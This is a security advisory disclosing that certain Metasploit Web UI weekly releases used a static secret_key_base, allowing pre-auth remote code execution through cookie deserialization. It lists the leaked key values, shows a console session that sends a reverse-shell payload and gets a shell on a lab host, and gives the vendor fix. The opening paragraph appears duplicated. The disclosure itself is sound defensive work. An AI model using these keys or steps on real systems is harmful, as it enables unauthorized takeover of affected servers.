* Author: Justin Steven * OVE ID: OVE-20160904-0002 * Private disclosure date: 2016-09-04 * Public disclosure date: 2016-09-19 * Vendor advisory: https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401 * Affected versions: Metasploit 4.12.0-2016061501 up to and including 4.12.0-2016083001 Metasploit Community, Express and Pro, after having had any of a particular set of Weekly Release updates applied, will have a static and publicly discoverable `secret_key_base` value for its Web UI. This allows a remote unauthenticated attacker to craft a signed cookie that will be deserialized by the application. Due to the fact that Metasploit has its `config.action_dispatch.cookies_serializer` setting set to `:hybrid`, this allows a remote unauthenticated attacker to cause the deserialization of arbitrary Marshalled objects, resulting in pre-auth RCE as the `daemon` user. The known `secret_key_base` values are as follows: ```text...
* Author: Justin Steven * OVE ID: OVE-20160904-0002 * Private disclosure date: 2016-09-04 * Public disclosure date: 2016-09-19 * Vendor advisory: https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401 * Affected versions: Metasploit 4.12.0-2016061501 up to and including 4.12.0-2016083001 Metasploit Community, Express and Pro, after having had any of a particular set of Weekly Release updates applied, will have a static and publicly discoverable `secret_key_base` value for its Web UI. This allows a remote unauthenticated attacker to craft a signed cookie that will be deserialized by the application. Due to the fact that Metasploit has its `config.action_dispatch.cookies_serializer` setting set to `:hybrid`, this allows a remote unauthenticated attacker to cause the deserialization of arbitrary Marshalled objects, resulting in pre-auth RCE as the `daemon` user. The known `secret_key_base` values are as follows: ```text 4.12.0-2016061501,d25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7 4.12.0-2016062101,99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc 4.12.0-2016072501,446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde 4.12.0-2016081001,61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a 4.12.0-2016081201,23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32 4.12.0-2016083001,18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615 unreleased build,b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c ``` Code execution can be achieved using the Metasploit Framework module `exploit/multi/http/rails_secret_deserialization`. Note that, as of the time of writing, this module does not work against modern Ruby. There is an open PR `[0]` that fixes the popchain to make this module great again. A standalone module that exploits this issue has been submitted for inclusion in Metasploit Framework `[1]`: ```text msf exploit(metasploit_static_secret_key_base) > info Name: Metasploit Web UI Static secret_key_base Value Module: exploit/multi/http/metasploit_static_secret_key_base Platform: Ruby Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2016-09-15 Provided by: Justin Steven joernchen of Phenoelit <joernchen@phenoelit.de> Available targets: Id Name -- ---- 0 Metasploit 4.12.0-2016061501 to 4.12.0-2016083001 Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 3790 yes The target port SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The path to the Metasploit Web UI VHOST no HTTP server virtual host Payload information: Description: This module exploits the Web UI for Metasploit Community, Express and Pro where one of a certain set of Weekly Releases have been applied. These Weekly Releases introduced a static secret_key_base value. Knowledge of the static secret_key_base value allows for deserialization of a crafted Ruby Object, achieving code execution. This module is based on exploits/multi/http/rails_secret_deserialization References: OVE (20160904-0002) https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401 msf exploit(metasploit_static_secret_key_base) > set RHOST 172.18.0.2 RHOST => 172.18.0.2 msf exploit(metasploit_static_secret_key_base) > set PAYLOAD ruby/shell_reverse_tcp PAYLOAD => ruby/shell_reverse_tcp msf exploit(metasploit_static_secret_key_base) > set LHOST 172.18.0.1 LHOST => 172.18.0.1 msf exploit(metasploit_static_secret_key_base) > set LPORT 4444 LPORT => 4444 msf exploit(metasploit_static_secret_key_base) > exploit [*] Started reverse TCP handler on 172.18.0.1:4444 [*] Checking for cookie _ui_session [*] Searching for proper SECRET [*] Sending cookie _ui_session [*] Command shell session 1 opened (172.18.0.1:4444 -> 172.18.0.2:47590) at 2016-09-19 19:26:30 +1000 id uid=1(daemon) gid=1(daemon) groups=1(daemon) exit ^C Abort session 1? [y/N] y [*] 172.18.0.2 - Command shell session 1 closed. Reason: User exit ``` Rapid7 addressed this issue in Metasploit 4.12.0-2016091401. Upon installing the update, it will check if one of the known `secret_key_base` values are in use, and if so, will regenerate it. Users should upgrade to Metasploit 4.12.0-2016091401 or newer. References: * `[0]` <https://github.com/rapid7/metasploit-framework/pull/7304> * `[1]` <https://github.com/rapid7/metasploit-framework/pull/7341> <https://twitter.com/justinsteven>
